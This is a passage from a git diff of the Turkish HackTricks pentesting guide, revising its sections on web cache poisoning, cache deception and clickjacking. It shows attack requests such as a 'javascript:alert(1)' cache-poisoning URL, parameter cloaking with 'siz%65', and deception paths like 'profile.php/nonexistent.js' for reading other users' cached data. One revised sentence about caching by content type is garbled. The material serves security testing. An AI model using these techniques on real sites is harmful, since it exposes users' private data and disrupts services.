URL içindeki parçayı ayıklamadan iletmiş ve önbellek anahtarını yalnızca ana bilgisayar, yol ve sorgu kullanarak oluşturmuştur (parçayı yok sayarak). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği backend'e `/#/../?r=javascript:alert(1)` olarak gönderilmiş ve önbellek anahtarı içinde yalnızca ana bilgisayar, yol ve sorgu bulunmuştur. ### GitHub CP-DoS -İçerik türü başlığında kötü bir değer göndermek, önbelleğe alınmış bir 405 yanıtını tetiklemiştir. Önbellek anahtarı çerez içerdiği için yalnızca kimlik doğrulaması yapılmamış kullanıcılara saldırı yapmak mümkün olmuştur. +İçerik türü başlığında kötü bir değer göndermek, önbelleğe alınmış bir 405 yanıtını tetiklemiştir. Önbellek anahtarı çerez içerdiği için yalnızca kimlik doğrulaması yapılmamış kullanıcılara saldırmak mümkün olmuştur. ### GitLab + GCP CP-DoS @@ -183,19 +183,19 @@ Ruby on Rails uygulamalarında genellikle Rack ara yazılımı kullanılır. Rac ### 403 ve Depolama Kovaları -Cloudflare önceden 403 yanıtlarını önbelleğe almıştır. Yanlış Kimlik Doğrulama başlıkları ile S3 veya Azure Depolama Bloklarına erişmeye çalışmak, önbelleğe alınmış bir 403 yanıtına neden olmuştur. Cloudflare 403 yanıtlarını önbelleğe almaktan vazgeçmiş olsa da, bu davranış başka proxy hizmetlerinde hala mevcut olabilir. +Cloudflare önceden 403 yanıtlarını önbelleğe almıştır. Yanlış Kimlik Doğrulama başlıklarıyla S3 veya Azure Depolama Bloklarına erişmeye çalışmak, önbelleğe alınan bir 403 yanıtına neden olmuştur. Cloudflare 403 yanıtlarını önbelleğe almaktan vazgeçmiş olsa da, bu davranış başka proxy hizmetlerinde hala mevcut olabilir. ### Anahtarlı Parametreler Enjekte Etme -Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe almıştır. Ancak, URL kodlanmış bir parametre sürümü (örneğin, `siz%65`) yanlış bir değerle gönderilirse, önbellek anahtarı doğru `size` parametresini kullanarak oluşturulur. Ancak, backend, URL kodlanmış parametre değerini işler. İkinci `size` parametresini URL kodlamak, önbellek tarafından atlanmasına ancak backend tarafından kullanılmasına neden olmuştur. Bu parametreye 0 değeri atamak, önbelleğe alınabilir 400 Hatalı İstek hatası döndürmüştür. +Önbellekler genellikle özel GET parametrelerini önbellek anahtarında saklar. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe almıştır. Ancak, hatalı bir değerle birlikte URL kodlanmış bir versiyonu (örneğin, `siz%65`) gönderildiğinde, önbellek anahtarı doğru `size` parametresini kullanarak oluşturulur. Ancak, backend, URL kodlanmış parametre değerini işler. İkinci `size` parametresini URL kodlamak, önbellek tarafından atlanmasına ancak backend tarafından kullanılmasına neden olmuştur. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucunu doğurmuştur. ### Kullanıcı Ajanı Kuralları -Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. İronik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve Hizmet Reddi gibi zafiyetlere neden olabilir. +Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. İronik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve Hizmet Reddi gibi güvenlik açıklarına neden olabilir. ### Yasadışı Başlık Alanları -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230), başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıklar ideal olarak bir 400 Hatalı İstek yanıtı tetiklemelidir. Uygulamada sunucular her zaman bu standartlara uymazlar. Akamai gibi, geçersiz karakterler içeren başlıkları iletir ve `cache-control` başlığı mevcut olmadığı sürece herhangi bir 400 hatasını önbelleğe alır. Geçersiz bir karakter içeren bir başlık göndermenin, örneğin `\`, önbelleğe alınabilir bir 400 Hatalı İstek hatası döndüreceği bir açıklık belirlenmiştir. +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230), başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıklar ideal olarak bir 400 Hatalı İstek yanıtı tetiklemelidir. Uygulamada sunucular her zaman bu standartlara uymazlar. Akamai gibi, geçersiz karakterler içeren başlıkları iletir ve `cache-control` başlığı mevcut olmadığı sürece herhangi bir 400 hatasını önbelleğe alır. Geçersiz bir karakter içeren bir başlık göndermenin, `\` gibi, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucunu doğurduğu bir sömürülebilir desen belirlenmiştir. ### Yeni başlıklar bulma @@ -203,9 +203,9 @@ Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi y ## Önbellek Aldatmacası -Önbellek Aldatmacasının amacı, istemcilerin **önbellekte saklanacak kaynakları hassas bilgileriyle birlikte yüklemelerini sağlamaktır**. +Önbellek Aldatmacasının amacı, istemcilerin **önbellekte saklanacak kaynakları hassas bilgileriyle yüklemelerini sağlamaktır**. -Öncelikle **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe kaydedilmesi** için **ayarlandığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js`'e erişirseniz, önbellek muhtemelen yanıtı saklayacaktır çünkü **.js** uzantısını görür. Ancak, **uygulama** _www.example.com/profile.php/_ içinde saklanan **hassas** kullanıcı içeriğiyle **yeniden oynuyorsa**, diğer kullanıcılardan bu içerikleri **çalabilirsiniz**. +Öncelikle **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe kaydedilmesi** için **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js`'ye erişirseniz, önbellek muhtemelen yanıtı saklayacaktır çünkü **.js** uzantısını görür. Ancak, **uygulama** _www.example.com/profile.php/_ içinde saklanan **hassas** kullanıcı içeriğiyle **yeniden oynuyorsa**, diğer kullanıcılardan bu içerikleri **çalabilirsiniz**. Test edilecek diğer şeyler: @@ -216,13 +216,13 @@ Test edilecek diğer şeyler: * _www.example.com/profile.php/%2e%2e/test.js_ * _`.avif` gibi daha az bilinen uzantıları kullanın_ -Bu konuda çok net bir örnek şu yazıda bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi mevcut olmayan bir sayfa yüklerseniz, _http://www.example.com/home.php/_ içeriği (**kullanıcının hassas bilgileriyle**) geri dönecek ve önbellek sunucusu sonucu kaydedecektir.\ -Ardından, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_'e erişebilir ve önceden erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir. +Bu yazıda çok net bir örnek bulabilirsiniz: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +Bu örnekte, _http://www.example.com/home.php/non-existent.css_ gibi mevcut olmayan bir sayfa yüklerseniz, _http://www.example.com/home.php/_ içeriği (**kullanıcının hassas bilgileriyle**) geri dönecek ve önbellek sunucusu sonucu kaydedecektir.\ +Daha sonra, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_'e erişebilir ve önceden erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir. -Önbellek ajanının dosyaları **uzantıya** göre değil, dosyanın içerik türüne göre **önbelleğe alınacak şekilde yapılandırılması gerektiğini** unutmayın (_.css_). Örnekte _http://www.example.com/home.php/non-existent.css_ bir `text/html` içerik türüne sahip olacak ve beklenen _.css_ dosyası için bir `text/css` mime türü olmayacaktır. +Önbellek **proxy**'sinin dosyaları **içerik türüne** göre değil, dosya uzantısına göre önbelleğe alacak şekilde **yapılandırılması gerektiğini** unutmayın (_.css_). Örneğin, _http://www.example.com/home.php/non-existent.css_ önbelleğe alınmış bir 400 Hatalı İstek hatası sonucu vermesi gereken bir `text/css` mime türü yerine `text/html` içerik türüne sahip olacaktır (beklenen _.css_ dosyası için). -[HTTP İsteği Kaçırarak Web Önbellek Aldatmaları saldırılarını nasıl gerçekleştireceğinizi buradan öğrenin](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). +[HTTP İstek Kaçırma](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) kullanarak[ Önbellek Aldatmacası saldırılarını nasıl gerçekleştireceğinizi buradan öğrenin. ## Otomatik Araçlar * [**toxicache**](https://github.com/xhzeem/toxicache): Belirli URL'lerde web önbellek zehirlenmesi açıklarını bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcı. @@ -239,21 +239,21 @@ Ardından, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.p
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
-Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da takip edin** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index 8988428e2..47ccb3ce3 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -2,7 +2,7 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: @@ -17,22 +17,24 @@ HackTricks'ı desteklemenin diğer yolları:
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştirmeyi** kolayca yapın.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %} ## Clickjacking Nedir -Clickjacking saldırısında, bir **kullanıcı** ya **görünmez** ya da farklı bir öğe olarak **kamuflaj yapmış** bir web sayfasındaki bir **öğeyi tıklamaya kandırılır**. Bu manipülasyon, kullanıcı için istenmeyen sonuçlara yol açabilir, örneğin kötü amaçlı yazılım indirme, kötü amaçlı web sayfalarına yönlendirme, kimlik bilgilerinin veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin online satın alınması. +Clickjacking saldırısında, bir **kullanıcı** bir web sayfasındaki **görünmez** veya farklı bir öğe olarak **kamuflaj yapmış** bir **öğeyi tıklamaya kandırılır**. Bu manipülasyon, kullanıcı için istenmeyen sonuçlara yol açabilir, örneğin kötü amaçlı yazılım indirme, kötü amaçlı web sayfalarına yönlendirme, kimlik bilgilerinin veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin online satın alınması. ### Formları Önceden Doldurma Hilesi Bazen bir sayfayı yüklerken GET parametrelerini kullanarak bir formun alanlarının değerini **doldurmak mümkün olabilir**. Bir saldırgan, bir formu keyfi verilerle doldurmak ve kullanıcının düğmeye basmasını sağlamak için clickjacking yükünü gönderebilir. -### Formu Sürükle ve Bırak ile Doldurma +### Drag\&Drop ile Formu Doldurma -Kullanıcının bir formu **doldurmasını** istiyorsanız ancak doğrudan belirli bilgileri yazmasını istemiyorsanız (örneğin, bildiğiniz e-posta veya belirli bir şifre gibi), sadece sizin kontrol ettiğiniz verileri yazacak bir şeyi **Sürükle ve Bırak** etmesini isteyebilirsiniz, örneğin [**bu örnekte**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). +Kullanıcının bir formu **doldurmasını** istiyorsanız ancak doğrudan belirli bilgileri yazmasını istemiyorsanız (örneğin, bildiğiniz e-posta veya belirli bir şifre gibi), sadece sizin kontrol ettiğiniz verileri yazacak bir şeyi **sürükleyip bırakmasını** isteyebilirsiniz, [**bu örnekte olduğu gibi**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). + +### Temel Yük ```markup